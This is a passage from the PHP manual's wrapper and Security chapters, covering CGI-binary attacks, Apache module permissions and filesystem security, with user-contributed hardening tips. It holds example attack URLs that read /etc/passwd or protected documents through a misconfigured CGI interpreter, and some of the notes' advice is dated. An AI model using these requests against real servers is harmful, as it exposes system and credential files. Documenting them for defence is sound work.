pcm_mode | PCM encoding to apply while reading, one of: OGGVORBIS_PCM_U8, OGGVORBIS_PCM_S8, OGGVORBIS_PCM_U16_BE, OGGVORBIS_PCM_S16_BE, OGGVORBIS_PCM_U16_LE, and OGGVORBIS_PCM_S16_LE. (8 vs 16 bit, signed or unsigned, big or little endian) | OGGVORBIS_PCM_S16_LE | Read
rate | Sampling rate of input data, expressed in Hz | 44100 | Write/Append
bitrate | When given as an integer, the fixed bitrate at which to encode. (16000 to 131072) When given as a float, the variable bitrate quality to use. (-1.0 to 1.0) | 128000 | Write/Append
channels | The number of audio channels to encode, typically 1 (Mono), or 2 (Stero). May range as high as 16. | 2 | Write/Append
comments | An array of string values to encode into the track header. |  | Write/Append

Examples

User Contributed Notes

martin dot leese at stanfordalumni dot org 18-Feb-2008 10:04
Note that although "ogg:" is the wrapper name, the stream is restricted to Ogg files containing a single stream encoded using the Vorbis audio codec.  An Ogg container can, in fact, contain multiple streams: audio, video, anything.  (Also, the audio streams in an Ogg contaner can use codecs such as FLAC and OggPCM.)  The wrapper name is therefore misleading.
rar://
expect://
Supported Protocols and Wrappers


Process Interaction Streams

ogg://
Security
Supported Protocols and Wrappers
PHP Manual

expect://

expect:// — Process Interaction Streams

Description

Streams opened via the expect:// wrapper provide access to process'es stdio, stdout and stderr via PTY.

Note: This wrapper is not enabled by default
In order to use the expect:// wrapper you must install the » Expect extension available from » PECL.

expect:// PHP 4.3.0 and up (PECL)

Options

  • expect://command

Options

Wrapper Summary
Attribute | Supported
Restricted by allow_url_fopen | No
Allows Reading | Yes
Allows Writing | Yes
Allows Appending | Yes
Allows Simultaneous Reading and Writing | No
Supports stat() | No
Supports unlink() | No
Supports rename() | No
Supports mkdir() | No
Supports rmdir() | No

Examples

User Contributed Notes

There are no user contributed notes for this page.
ogg://
Security
Supported Protocols and Wrappers


Security

  • Introduction
  • General considerations
  • Installed as CGI binary
    • Possible attacks
    • Case 1: only public files served
    • Case 2: using cgi.force_redirect
    • Case 3: setting doc_root or user_dir
    • Case 4: PHP parser outside of web tree
  • Installed as an Apache module
  • Filesystem Security
    • Null bytes related issues
  • Database Security
    • Designing Databases
    • Connecting to Database
    • Encrypted Storage Model
    • SQL Injection
  • Error Reporting
  • Using Register Globals
  • User Submitted Data
  • Magic Quotes
    • What are Magic Quotes
    • Why did we use Magic Quotes
    • Why not to use Magic Quotes
    • Disabling Magic Quotes
  • Hiding PHP
  • Keeping Current

User Contributed Notes

moehbass at gmail dot com 11-Jul-2007 10:34
First, q much simpler solution to preventing people from viewing code inside of an includable file would be to give include file an extension that ends with php (e.g. myFile.inc.php).

Secondly, and more importantly, why on earth would you want to put program-level code in an include file? By that I mean something life this:

myFile.inc.php
--------------------------------
...
if ($var = 'whatever')
    // connect to the database
else
    // do something else.
--------------------------------

An include file should not contain logic! Rather, it is an encapsulated unit of code that should not do anything on its own unless asked to. To implement this ideology, consider including function definitions only in your include files, then once you include them in the script, call such functions from within your program (i.e. the script that included the inc file). If you don't know the names of the functions ab initio, use call_user_func() or call_user_func_array() and pass it the name of the function that's dependent on context.

If you MUST put program-level logic in your include files, consider simply putting it in the program!

Why should you consider this? How about variable name clashes for a starter! You can think of more, I am shure!

Hope that helped
dangan at blackjaguargaming dot net 01-Feb-2007 06:41
I'd recommend a 404 over a 403 considering a 403 proves there is something worth hacking into.

index.php:
<?php
define('isdoc',1);
include('includes/include.sqlfunctions.php');
// Rest of code for index.php
?>

include.sqlfunctions.php (or other include file):
<?php
if(isdoc !== 1) // Not identical to 1
{
    header('HTTP/1.1 404 Not Found');
    echo "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\n<html><head>\n<title>404 Not Found</title>\n</head>";
    echo "<body>\n<h1>Not Found</h1>\n<p>The requested URL ".$_SERVER['REQUEST_URI']." was not found on this server.</p>\n";
    echo "<hr>\n".$_SERVER['SERVER_SIGNATURE']."\n</body></html>\n";
    // Echo output similar to Apache's default 404 (if thats what you're using)
    exit;
}
// Rest of code for this include
?>
k 25-Oct-2006 04:06
How about not putting the php code in the web-root at all...?

You can create a public directory with the css, html, etc and index.php there. Then use the include_path setting to point to the actual php code, eg...

webstuff
  phpcode
  public
    images
    css
    index.php

then set the include path to "../phpcode" and, as php is executed from the directory of the script, all should be well.

I'd also call the main index "main.page", or something else, instead of "index.php" and change the web server default index page. That way you cant get hit by things trawlling the web for index pages.
steffen at morkland dot com 20-Sep-2006 06:38
In Reply to djjokla and others

Consider placing all incude files as mentioned before in a seperate folder containing a .htaccess containing a Order Deny,Allow

the create a index file, which is intended to handle ALL request made to you php application, then call it with index.php?view=index

the index file could look a bit like this:

<?php
switch($_GET['view']){
    case 'index':
        include('libs/index.php');
        break;
    default:
        include('libs/404.php');
        break;
}
?>

this could be an array or something even more creative. it actually does'nt matter how you do it... running all pages through one central script has one big advantage.... CONTROL.
at any givin time, you can easily implement access control to functions without forgetting crucial files.
djjokla AT gmail dot com 21-Apr-2006 08:22
If a single file has to be included than I use the following

index.php ( where the file is gonna be included )
___________
<?php
    define('thefooter', TRUE);
    include('folder/footer.inc.php');
?>

and the footer file (for example) looks this way then

footer.inc.php ( the file to be inluded )
___________
<?php
    defined('thefooter') or die('Not with me my friend');
    echo('Copyright to me in the year 2000');
?>

So when someone tries to access the footer.php file directly he/she/it will get the "Not with me my friend" messages written on the screen. An alternative option is to redirect the person who wants to access the file directly to a different location, so instead of the above code you would have to write the following in the footer.inc.php file.

<?php
    defined('thefooter') or header('Location: http://www.location.com');
    echo('Copyright to me in the year 2000');
?>

In normal case a redirection to an external site would be annoying to the visitor, but since this visitor is more interested in hacking the site than in reading the content, I think it's only fair to create such an redirection. We dont' realy want someome like this on our sites.

For the file protection I use .htaccess in which I say to protect the file itself and every .inc file

<Files ~ "^.*\.([Hh][Tt]|[Ii][Nn][Cc])">
Order allow,deny
Deny from all
Satisfy All
</Files>

The .htaccess file should result an Error 403 if someone tries to access the files directly. If for some reason this shouldn't work, then the "Not with me my friend" text apears or a redirection (depending what is used)

In my eyes this looks o.k. and safe.
webmaster ätt christophdum ddott com 16-Dec-2005 04:30
that's cool, but i use this code right here:

<?if(!defined('IN_SCRIPT')){header('HTTP/1.0 404 not found');exit;}?>

adding a 404 header will not give the user any clue that the include-file even exists !!!

i also protect the whole include-directory with a .htaccess file that says: "Deny from all"

so i guess that's pretty secure
Thomas "Balu" Walter 16-Oct-2005 01:24
Since many users can not modify apache configurations or use htaccess files, the best way to avoid unwanted access to include files would be a line at the beginning of the include-file:

<?php if (!defined('APPLICATION')) exit; ?>

And in all files that are allowed to be called externally:

<?php define('APPLICATION', true); ?>

     Balu
nick dot hristov at gmail dot com 02-Sep-2004 08:21
A correction to previous post by Dave Mink.

<Files ~ "\.inc$">
   Order allow,deny
   Deny from all
   Satisfy All
</Files>

Will not stop something like
http://www.yourserver.com/includefile.inc?pointlessvar=blahblah

Here is something more sophisticated for this task:

<Location ~ "/[^ ](?=\.inc(\?[^ ]*)?)/">
    Options None
    Order Allow, Deny
    Deny from All
    AllowOverride None
    Satisfy All
</Location>

Also, consider placing in your httpd.conf

<Location ~ "/[^ ](?=\.phps(\?[^ ]*)?)/">
    Options None
    Order Allow, Deny
    Deny from All
    AllowOverride None
    Satisfy All
</Location>
ocrow at simplexity dot net 02-Jul-2003 05:16
If your PHP pages include() or require() files that live within the web server document root, for example library files in the same directory as the PHP pages, you must account for the possibility that attackers may call those library files directly.

Any program level code in the library files (ie code not part of function definitions) will be directly executable by the caller outside of the scope of the intended calling sequence.  An attacker may be able to leverage this ability to cause unintended effects.

The most robust way to guard against this possibility is to prevent your webserver from calling the library scripts directly, either by moving them out of the document root, or by putting them in a folder configured to refuse web server access. With Apache for example, create a .htaccess file in the library script folder with these directives:

Order Allow,Deny
Deny from any
annonymous at domain dot com 27-Jun-2003 06:08
best bet is to build php as cgi, run under suexec, with chroot jailed users. Not the best, but fairly unobtrusive, provides several levels of checkpoints, and has only the detriment of being, well, kinda slow. 8)
ManifoldNick at columbus dot rr dot com 29-Apr-2003 10:30
Remember that security risks often don't involve months of prep work or backdoors or whatever else you saw on Swordfish ;) In fact one of the bigges newbie mistakes is not removing "<" from user input (especially when using message boards) so in theory a user could secerely mess up a page or even have your server run php scripts which would allow them to wreak havoc on your site.
25-Feb-2003 04:00
For real security you should consider providing chrooted jail's for your users.
expect://
Introduction


Introduction

PHP is a powerful language and the interpreter, whether included in a web server as a module or executed as a separate CGI binary, is able to access files, execute commands and open network connections on the server. These properties make anything run on a web server insecure by default. PHP is designed specifically to be a more secure language for writing CGI programs than Perl or C, and with correct selection of compile-time and runtime configuration options, and proper coding practices, it can give you exactly the combination of freedom and security you need.

As there are many different ways of utilizing PHP, there are many configuration options controlling its behaviour. A large selection of options guarantees you can use PHP for a lot of purposes, but it also means there are combinations of these options and server configurations that result in an insecure setup.

The configuration flexibility of PHP is equally rivalled by the code flexibility. PHP can be used to build complete server applications, with all the power of a shell user, or it can be used for simple server-side includes with little risk in a tightly controlled environment. How you build that environment, and how secure it is, is largely up to the PHP developer.

This chapter starts with some general security advice, explains the different configuration option combinations and the situations they can be safely used, and describes different considerations in coding for different levels of security.

User Contributed Notes

There are no user contributed notes for this page.
Security
General considerations
Security


General considerations

A completely secure system is a virtual impossibility, so an approach often used in the security profession is one of balancing risk and usability. If every variable submitted by a user required two forms of biometric validation (such as a retinal scan and a fingerprint), you would have an extremely high level of accountability. It would also take half an hour to fill out a fairly complex form, which would tend to encourage users to find ways of bypassing the security.

The best security is often unobtrusive enough to suit the requirements without the user being prevented from accomplishing their work, or over-burdening the code author with excessive complexity. Indeed, some security attacks are merely exploits of this kind of overly built security, which tends to erode over time.

A phrase worth remembering: A system is only as good as the weakest link in a chain. If all transactions are heavily logged based on time, location, transaction type, etc. but the user is only verified based on a single cookie, the validity of tying the users to the transaction log is severely weakened.

When testing, keep in mind that you will not be able to test all possibilities for even the simplest of pages. The input you may expect will be completely unrelated to the input given by a disgruntled employee, a cracker with months of time on their hands, or a housecat walking across the keyboard. This is why it's best to look at the code from a logical perspective, to discern where unexpected data can be introduced, and then follow how it is modified, reduced, or amplified.

The Internet is filled with people trying to make a name for themselves by breaking your code, crashing your site, posting inappropriate content, and otherwise making your day interesting. It doesn't matter if you have a small or large site, you are a target by simply being online, by having a server that can be connected to. Many cracking programs do not discern by size, they simply trawl massive IP blocks looking for victims. Try not to become one.

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Installed as CGI binary
Security


Installed as CGI binary

Table of Contents

  • Possible attacks
  • Case 1: only public files served
  • Case 2: using cgi.force_redirect
  • Case 3: setting doc_root or user_dir
  • Case 4: PHP parser outside of web tree

User Contributed Notes

Craig Buchek 12-Aug-2007 09:33
NOTE: Running PHP as a CGI program will change the value of $_SERVER['SCRIPT_NAME']. When running via the (normal) mod_PHP mechanism, it will be set to the name of (actually, path to) the PHP script that's running. When running via CGI, it will instead point to the path of the CGI binary.
phpD0TnetATmoritzHYPHONnaumannD0Tcom 09-Jan-2006 09:56
One of the most common reasons why you get 'No input file specified' (AKA 'the second most useful error message in the world') is that you have set 'doc_root' (in php.ini) to a value which is to the 'DocumentRoot' defined in the apache configuration.

This is the same for other webservers. For example, on lighttpd, make sure the 'server.document-root' value is the same as what is defined as 'doc_root' in php.ini.
phil dot ross at gmail dot com 22-Mar-2005 03:56
In response to grange at club-internet dot fr:

There are a couple of errors in the mod_rewrite directives given. I found that the following works:

RewriteEngine on
RewriteCond %{ENV:REDIRECT_STATUS} !200
RewriteRule ^cgi-bin/php.cgi - [F]

I removed the = from the RewriteCond and took out the leading / from the RewriteRule.
kschroeder at mirageworks dot com 11-Feb-2005 07:23
I have noticed that some people have noted that running PHP as a CGI program can run slowly compared with a compiled in module.  Some have noted that they want to use FastCGI but are hesitant.  I found that using the Apache 2's CGID module was a great way to speed up performance almost to the same level as an "so"-installed PHP module but you get the added benefit of running each virtual host under it's own user and group.

In my testing I got 44 pages per second using PHP as a module and I got roughly the same performance (within 5%) running PHP as a CGI program through CGID.

CGID is also really easy to set up.  Just add --enable-cgid to your Apache configure command and you're good to go.  Just set up PHP as a CGI normally.

I'm sure that there's extra RAM used for this method but RAM is as cheap as borscht anyways so it shouldn't be a major factor when trying to speed up PHP CGI.
Omid 04-Jan-2005 10:39
Here are my two cents of knowledge about php-cgi when running CGI script from prompt:

If you get the "No input file specified." error, create the environment variable "SCRIPT_FILENAME=C:\files\test.php".

If you get "Security Alert!" error and it tells you to create the REDIRECT_STATUS environment variable, it is because you have the SERVER_NAME variable set but not the REDIRECT_STATUS variable.

Hence, if you have SERVER_NAME, you also need REDIRECT_STATUS, but not otherwise.

And you pretty much should have SCRIPT_FILENAME at all time.
grange at club-internet dot fr 29-Dec-2004 01:40
--enable-force-cgi-redirect won't work in FastCGI mode : as of 4.3.10, it is only supported in CGI mode.

However, you can achieve the same result with mod_rewrite under Apache :

RewriteEngine on
RewriteCond %{ENV:REDIRECT_STATUS} !=200
RewriteRule /cgi-bin/path/to/php - [F]

This will only allow internal redirection, thus forbidding direct HTTP access to php interpreter (http://www.exemple.com/cgi-bin/path/to/php).
pookey at pookey dot co dot uk 07-Sep-2004 07:58
I've updated my site now to include information about running PHP in CGI mode using BinFMT to remove the need for a shebang, http://www.pookey.co.uk/php-security.xml . Also, http://www.pookey.co.uk/php-suphp.xml documents a few things about suPHP, and http://www.pookey.co.uk/php-suphp-modphp.xml shows a method of runing SuPHP and mod_php together (not covered on suPHP's site).  Hope this is of help to you!
martelli at geoserve dot com dot br 12-Jul-2004 12:25
PHP CGI with VirtualHosts.

This is what I found out while trying to get php to work as CGI with Apache VirtualHosts.

By enabling 'force-cgiredirects', you *must*:
1) set 'cgi.fix_pathinfo=1' in php.ini
2) leave doc_root commented out (php.ini also)

If you miss item 1, the apache logs will show 'unexpected T_STRING' in the php binary.
If you miss item 2, you'll only see 'No input file specified.', instead of the expected output.

You can then turn on the php support for a particular vhost by defining:

Action php-script /cgi-bin/php

inside the corresponding <VirtualHost> directive.
13-Jun-2004 08:26
PHP works with Apache and suEXEC like this:
(Assuming that suEXEC ist allready installed and working)

Install PHP as CGI binary (e.g. in /usr/local/bin/php)
(compile with --enable-force-cgi-redirect)

Create a Link inside cgi-bin directory to make php-cgi accessable:
cd /usr/local/apache/cgi-bin
ln /usr/local/bin/php php

Edit your httpd.conf file:
 AddHandler php4-script .php
 Action php4-script /cgi-bin/php

 <VirtualHost 123.456.789.0:80>
    User exampleuser
    Group examplegroup
     ...

 </VirtualHost>

Restart Apache

PHP-scripts are now called under the user-id of exampleuser and group-id of examplegroup.
geeky at geeky dot de 02-Sep-2003 07:32
a replacement for suexec is suphp (http://www.suphp.org).

"suPHP is a tool for executing PHP scripts with the permissions of their owners. It consists of an Apache module (mod_suphp) and a setuid root binary (suphp) that is called by the Apache module to change the uid of the process executing the PHP interpreter." (from the website)
pookey at pookey dot co dot uk 21-Mar-2003 10:29
I have setup a guide to installing PHP with SuEXEC in such a way that shebangs (!#/usr/bin/php4) are not needed.  Hope this is of some help to you.

http://www.pookey.co.uk/php-security.xml
goran_johansson at yahoo dot com 17-Feb-2003 06:53
A tip for Windows-users

Just a tip for you so do not do the same mistake as I did:
I just found out that PHP first seem to look in the php-directory for php.ini, and if that file does not exist, it looks in the Windows directory.
I renamed the file php.ini-dist to php.ini and copied it to my Windows directory, and then I modified the infamous "cgi.force_redirect = 0" in the php.ini file located in the Windows directory, to make it work. But it did not because it reads from the "original" php.ini - So when I deleted this php.ini things started working again
matled at gmx dot net 28-Sep-2002 03:53
If you are using php per cgi and have additionally mod_gzip enabled you have to disable mod_gzip for the php cgi binary to use --enable-cgi-redirect. mod_gzip sets the REDIRECT_STATUS always to 200 which makes it impossible for the php binary to know when it was called directly or when it was called by a redirect.
ruben at puettmann dot net 20-Sep-2002 06:29
To use php-cgi with suexec it will be nice that each virtual host has ist's own php.ini. This goes with :

SetEnv PHPRC /var/www/server/www.test.com/conf

But suexec will kill this enviromet cause It don't know that it is "save" so you must edit the suexec.c for compiling ....
clement dot hermann at free dot fr 18-Jun-2002 09:05
When using php in cgi mode, it's often a good idea to take a look at the apache suexec feature in addition to the --force-cgi-redirect option.

 http://httpd.apache.org/docs/suexec.html
phobo#paradise.net.nz 02-Oct-2001 07:28
If you do virutal hosting, you can turn safe mode on and off for different Apache Virutal Hosts using the php_admin_value directive. This also allows you to have customised maximum execution times, disabled functions, etc; anything which is set in php.ini. Note that by placing a base_dir for each virutal host, this means PHP CANNOT access files below this heirachy; strongly recomended for customer hosting.

Example (httpd.conf):

[VirtualHost 127.0.0.1:80]
 DocumentRoot /var/www/html/safephphost/
 ServerName safephp
 php_admin_value safe_mode 1
 php_admin_value open_base_dir /var/www/html/safephphost/
 php_admin_value sendmail_from phobo#paradise.net.nz
[/VirtualHost]

Am not sure which versions this started working with but does with Apache 1.3.19/PHP4.04pl1.
mail at hotmail dot com 10-Jul-2001 10:14
You can find more security information, about secury programming and how to avoid some common mistakes programming php applications:
http://www.securereality.com.au/studyinscarlet.txt
yohgaki at hotmail dot com 12-Apr-2001 11:44
If you care about security, you are better of setting

register_globals = off
enable_track_vars = on (Always on from PHP4.0.3)

Default setting for variable order is
EGPCS
(ENV VARS/GET VARS/POST VARS/COOKIE VARS/SESSION VARS)

Imagine if you are rely on ENV VAR but it was orver written with GET/POST/COOKIE vars?
michel dot jansens at ulb dot ac dot be 09-Apr-2001 10:21
If you want to use suexec and reference your php interpreter via #!/usr/local/bin/php,  be shure to compile php WITHOUT  --enable-force-cgi-redirect.

This might seems obvious, but I spent 2 days on this :-(
12-Mar-2001 01:39
The configuration option '--enable-force-cgi-redirect' is supported by Zeus Web Server 3.3.8.2 (at least, that's what I've tried it on - it make work on previous versions).
steeven at kali dot com dot cn 18-Jan-2001 01:54
suEXEC require CGI mode, and slow down the scripts. I did them like this:
1. Install php as DSO mode. (for max speed and low secure)
2. Make a seperate CGI install with --enable-force-cgi-redirect, place php to cgi-bin
3 For more secure with suEXEC, choose one of the following method:
3-1: Place a .htaccess file containing this to override main config:
AddType application/x-httpd-wphp php
Action application/x-httpd-wphp /cgi-bin/php
  All php files in subdirectory will be protected.
3-2: add following in httpd.conf:
AddType application/x-httpd-wphp sphp
Action application/x-httpd-wphp /cgi-bin/php
  then each sensitive php file should be renamed to .sphp

Add "php_value doc_root /home/user/html_docs" to each virtual host directive in httpd.conf
kstone at trivergent dot net 04-May-2000 02:01
Better yet, use binfmt_misc:  (linux only)

echo :php3:E::php3::/usr/bin/php: > /proc/sys/fs/binfmt_misc/register

Eliminates the need for the #! at the top of the file.
General considerations
Possible attacks
Security


Possible attacks

Using PHP as a CGI binary is an option for setups that for some reason do not wish to integrate PHP as a module into server software (like Apache), or will use PHP with different kinds of CGI wrappers to create safe chroot and setuid environments for scripts. This setup usually involves installing executable PHP binary to the web server cgi-bin directory. CERT advisory » CA-96.11 recommends against placing any interpreters into cgi-bin. Even if the PHP binary can be used as a standalone interpreter, PHP is designed to prevent the attacks this setup makes possible:

  • Accessing system files: http://my.host/cgi-bin/php?/etc/passwd The query information in a URL after the question mark (?) is passed as command line arguments to the interpreter by the CGI interface. Usually interpreters open and execute the file specified as the first argument on the command line. When invoked as a CGI binary, PHP refuses to interpret the command line arguments.
  • Accessing any web document on server: http://my.host/cgi-bin/php/secret/doc.html The path information part of the URL after the PHP binary name, /secret/doc.html is conventionally used to specify the name of the file to be opened and interpreted by the CGI program. Usually some web server configuration directives (Apache: Action) are used to redirect requests to documents like http://my.host/secret/script.php to the PHP interpreter. With this setup, the web server first checks the access permissions to the directory /secret, and after that creates the redirected request http://my.host/cgi-bin/php/secret/script.php. Unfortunately, if the request is originally given in this form, no access checks are made by web server for file /secret/script.php, but only for the /cgi-bin/php file. This way any user able to access /cgi-bin/php is able to access any protected document on the web server. In PHP, runtime configuration directives cgi.force_redirect, doc_root and user_dir can be used to prevent this attack, if the server document tree has any directories with access restrictions. See below for full the explanation of the different combinations.

User Contributed Notes

There are no user contributed notes for this page.
Installed as CGI binary
Case 1: only public files served
Installed as CGI binary


Case 1: only public files served

If your server does not have any content that is not restricted by password or ip based access control, there is no need for these configuration options. If your web server does not allow you to do redirects, or the server does not have a way to communicate to the PHP binary that the request is a safely redirected request, you can specify the option --enable-force-cgi-redirect to the configure script. You still have to make sure your PHP scripts do not rely on one or another way of calling the script, neither by directly http://my.host/cgi-bin/php/dir/script.php nor by redirection http://my.host/dir/script.php.

Redirection can be configured in Apache by using AddHandler and Action directives (see below).

User Contributed Notes

mio2007 at gmail dot com 08-Sep-2007 02:34
Please, make hrefrences to previos & netx page of this manual on this page under text of chapter (not oly under comments) as it was on a previus pages. Thx, GL.
Possible attacks
Case 2: using cgi.force_redirect
Installed as CGI binary


Case 2: using cgi.force_redirect

The configuration directive cgi.force_redirect prevents anyone from calling PHP directly with a URL like http://my.host/cgi-bin/php/secretdir/script.php. Instead, PHP will only parse in this mode if it has gone through a web server redirect rule. PHP older than 4.2.0 used --enable-force-cgi-redirect compile time option for this.

Usually the redirection in the Apache configuration is done with the following directives:

Action php-script /cgi-bin/php
AddHandler php-script .php

This option has only been tested with the Apache web server, and relies on Apache to set the non-standard CGI environment variable REDIRECT_STATUS on redirected requests. If your web server does not support any way of telling if the request is direct or redirected, you cannot use this option and you must use one of the other ways of running the CGI version documented here.

User Contributed Notes

harvey dot eneman at oracle dot com 30-Jun-2009 04:29
It appears that as of 5.3.0, --enable-force-cgi-redirect is not a valid configure option.  A quick review of the 5.3.0 code indicates that it the logic previously enabled by specifying the --enable-force-cgi-redirect configure option is being built into php by default.
mega-squall at caramail dot com 13-Jan-2008 02:36
Contrary to what was said, you can use arbitrary names for your MIME Type ...
However there's a restriction as it must be a valid MIME Type.
For instance, this is working perfectly :

AddHandler application/x-httpd-php4 .php4
AddHandler application/x-httpd-php5 .php5 .php
AddHandler application/x-httpd-php6 .php6
gelgin at internut dot com 25-Apr-2007 10:08
solaris 9 php4.4.0
i have found you can't use arbitrary names ie.

AddType application/x-httpd-php .php

works

#AddHandler php4-script .php

won't do must be

AddHandler application/x-httpd-php
celtic at sairyx dot org 14-Dec-2006 05:24
Note that force-redirect doesn't work with IIS at all; it'll tell you to go away, as IIS doesn't supply the right variables to PHP.

php.ini tells you to turn it off, so make sure you do.
Case 1: only public files served
Case 3: setting doc_root or user_dir
Installed as CGI binary


Case 3: setting doc_root or user_dir

To include active content, like scripts and executables, in the web server document directories is sometimes considered an insecure practice. If, because of some configuration mistake, the scripts are not executed but displayed as regular HTML documents, this may result in leakage of intellectual property or security information like passwords. Therefore many sysadmins will prefer setting up another directory structure for scripts that are accessible only through the PHP CGI, and therefore always interpreted and not displayed as such.

Also if the method for making sure the requests are not redirected, as described in the previous section, is not available, it is necessary to set up a script doc_root that is different from web document root.

You can set the PHP script document root by the configuration directive doc_root in the configuration file, or you can set the environment variable PHP_DOCUMENT_ROOT. If it is set, the CGI version of PHP will always construct the file name to open with this doc_root and the path information in the request, so you can be sure no script is executed outside this directory (except for user_dir below).

Another option usable here is user_dir. When user_dir is unset, only thing controlling the opened file name is doc_root. Opening a URL like http://my.host/~user/doc.php does not result in opening a file under users home directory, but a file called ~user/doc.php under doc_root (yes, a directory name starting with a tilde [~]).

If user_dir is set to for example public_php, a request like http://my.host/~user/doc.php will open a file called doc.php under the directory named public_php under the home directory of the user. If the home of the user is /home/user, the file executed is /home/user/public_php/doc.php.

user_dir expansion happens regardless of the doc_root setting, so you can control the document root and user directory access separately.

User Contributed Notes

Krishna Srikanth 30-Apr-2010 02:48
user_dir will not work in windows.
Case 2: using cgi.force_redirect
Case 4: PHP parser outside of web tree
Installed as CGI binary


Case 4: PHP parser outside of web tree

A very secure option is to put the PHP parser binary somewhere outside of the web tree of files. In /usr/local/bin, for example. The only real downside to this option is that you will now have to put a line similar to:

#!/usr/local/bin/php
as the first line of any file containing PHP tags. You will also need to make the file executable. That is, treat it exactly as you would treat any other CGI script written in Perl or sh or any other common scripting language which uses the #! shell-escape mechanism for launching itself.

To get PHP to handle PATH_INFO and PATH_TRANSLATED information correctly with this setup, the PHP parser should be compiled with the --enable-discard-path configure option.

User Contributed Notes

mails dot php dot net-notes at gunter dot ohrner dot net 22-Jul-2011 04:53
You can invoke the interpreter under Apache 2.2 running in Windows by associating the php file extension with the interpreter binary in the registry:

AddType application/x-httpd-php .php
AddHandler cgi-script .php

In the desired <Directory>-block, configure PHP CGI as follows:

Options +ExecCGI
## Use HKEY_CLASSES_ROOT\.cgi\Shell\ExecCGI\Command
## to determine CGI script interpreter
## ("c:\program files\php-5.2.17\php-cgi.exe").
## This key must be created manually.
ScriptInterpreterSource Registry-Strict

You need to disable cgi.force_redirect in this case, which should be safe from what I understand. You could probably simply use php.exe instead of php-cgi.exe, though I'd like to have this confirmed from someone else.
Andras Rokob <rokoba at bolyai dot elte dot hu> 18-Oct-2006 02:59
You can avoid the need of using the shell-escaping (#! ...) in all your php scripts if you set the executable bit on them and exploit the binfmt_misc support of the Linux kernels.
Case 3: setting doc_root or user_dir
Installed as an Apache module
Installed as CGI binary


Installed as an Apache module

When PHP is used as an Apache module it inherits Apache's user permissions (typically those of the "nobody" user). This has several impacts on security and authorization. For example, if you are using PHP to access a database, unless that database has built-in access control, you will have to make the database accessible to the "nobody" user. This means a malicious script could access and modify the database, even without a username and password. It's entirely possible that a web spider could stumble across a database administrator's web page, and drop all of your databases. You can protect against this with Apache authorization, or you can design your own access model using LDAP, .htaccess files, etc. and include that code as part of your PHP scripts.

Often, once security is established to the point where the PHP user (in this case, the apache user) has very little risk attached to it, it is discovered that PHP is now prevented from writing any files to user directories. Or perhaps it has been prevented from accessing or changing databases. It has equally been secured from writing good and bad files, or entering good and bad database transactions.

A frequent security mistake made at this point is to allow apache root permissions, or to escalate apache's abilities in some other way.

Escalating the Apache user's permissions to root is extremely dangerous and may compromise the entire system, so sudo'ing, chroot'ing, or otherwise running as root should not be considered by those who are not security professionals.

There are some simpler solutions. By using open_basedir you can control and restrict what directories are allowed to be used for PHP. You can also set up apache-only areas, to restrict all web based activity to non-user, or non-system, files.

User Contributed Notes

Vikanich 14-Aug-2008 04:41
Big thanks to "daniel dot eckl at gmx dot de" but i have to change his config, because it doesn't work (may be wrong syntax).
I have add only this string to VirtualHost config and it works.
php_admin_value open_basedir  /www/site1/
Now all php scripts are locked in the directory.
Kibab 30-Sep-2005 06:56
I'm running Windows version of Apache with php as module. System is Windows XP Service Pack 2 on NTFS filesystem. To avoid potential security problems, I've set Apache to run under NT AUTHORITY\Network Service account, and there is only one directory, named Content, with Full Access for this account. Other directories are either not accessible at all or with readonly permissions (like %systemroot%)... So, even if Apache will be broken, nothing would happen to entire system, because that account doesn't have admin privilegies :)
tifkap 01-Mar-2004 03:21
There is a safe way to support a lot of users in a secure way, without having to use CGI, in a way which is probebly faster
than mod_php.

Use FastCGI, with the SuExecWrapper set to your suid wrapper. It means every user wil get his own program-group, with processes
which are being reused. If the numer of processes that is being
started on startup is 0, then the processgroup for a user will be generated when needed.

This means: The first page is slow, after that the Zend Engine  caching kicks in. When the load on the virtualhost reduces, the
processes wil die off, and extra processes for a user-process-group
will only be started when (again) needed.

Your apache will be a LOT! lichter, because it won't have to drag all
the php-memory overhead with it. This means static content is
faster, and the whole system uses less memory.
The PHP itself also won't need to drag along the apache overhead.

If for one reason or the other php craches, your apache will simple
start some new php-processes. If you want to upgrade/patch php,
you can simple create the new fastcgi binary, and after testing, you can simple update the system by copying it, and maybe doing a
'apachectl gracefull'

In short :  Sepparating distinct functions in different processes
                communicating useing IPC methodes can be very good
                for performance and security. The best example of this
                principle at work is Postfix, where every process runs
                chroot() under its own uid.

http://wiki.openisis.org/i/view/Php/HowtoFastCgi
Georgee at CWC 30-Apr-2003 06:16
Additional CAUTION to anyone trying Pollux's solution:
It's kind a good. Probably works right. I think I'll give it a try myself. BUT...
its safe ONLY on the assumption that apache is 100% CLEAN. (codes and confs.) Any flaws on apache, almost ANYTHING could happen to ALL users -precisely, web users. (Because apache is a member of ALL -again, web user's- GID.) So, leeps's hint should be one of the important things.

There is nothing close to perfect. What I wrote is just one thing you'll have to keep in mind. So, consider carefully BEFORE you try this solution. (Well, this applies to any other solutions though...)
leeps 10-Mar-2003 05:59
@pollux: additionally, tell your users to set their file-permissions to
- r-- (group) for files
- --x (group) for directories.

this disables the webserver to browse user's directory. if you don't know the filename, you cannot open it, e.g. by running malicious php-code through one of the users scripts.
daniel dot eckl at gmx dot de 08-Aug-2002 04:16
There is a better solution than starting every virtual host in a seperate instance, which is wasting ressources.

You can set open_basedir dynamically for every virtual host you have, so every PHP script on a virtual host is jailed to its document root.

Example:
<VirtualHost www.example.com>
  ServerName www.example.com
  DocumentRoot /www-home/example.com
[...]
  <Location />
    php_admin_value open_basedir     \ "/www-home/example.com/:/usr/lib/php/"
  </Location>
</VirtualHost>

If you set safe_mode on, then the script can only use binaries in given directories (make a special dir only with the binaries your customers may use).

Now no user of a virtual host can read/write/modify the data of another user on your machine.

Windseeker
Case 4: PHP parser outside of web tree
Filesystem Security
Security


Filesystem Security

Table of Contents

  • Null bytes related issues

PHP is subject to the security built into most server systems with respect to permissions on a file and directory basis. This allows you to control which files in the filesystem may be read. Care should be taken with any files which are world readable to ensure that they are safe for reading by all users who have access to that filesystem.

Since PHP was designed to allow user level access to the filesystem, it's entirely possible to write a PHP script that will allow you to read system files such as /etc/passwd, modify your ethernet connections, send massive printer jobs out, etc. This has some obvious implications, in that you need to ensure that the files that you read from and write to are the appropriate ones.

Consider the following script, where a user indicates that they'd like to delete a file in their home directory. This assumes a situation where a PHP web interface is regularly used for file management, so the Apache user is allowed to delete files in the user home directories.

Example #1 Poor variable checking leads to....

<?php
